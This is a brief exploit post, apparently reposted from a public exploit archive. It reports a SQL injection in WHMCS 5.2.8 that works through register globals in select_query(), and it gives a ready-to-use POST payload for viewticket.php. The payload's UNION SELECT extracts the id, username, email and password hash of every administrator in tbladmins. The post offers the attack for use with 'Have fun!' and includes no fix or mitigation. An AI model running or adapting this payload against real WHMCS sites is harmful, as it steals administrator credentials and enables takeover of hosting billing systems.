WHMCS 5.2.8 [SQL INJECTION]

[Shelo]

Vulnerable file: /includes/dbfunctions.php

POC:

select_query() function is vulnerable due to Register Globals

Example:

/whmcs/viewticket.php

POST: tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#


Have fun!

Sursa: WHMCS 5.2.8 - SQL Injection Vulnerability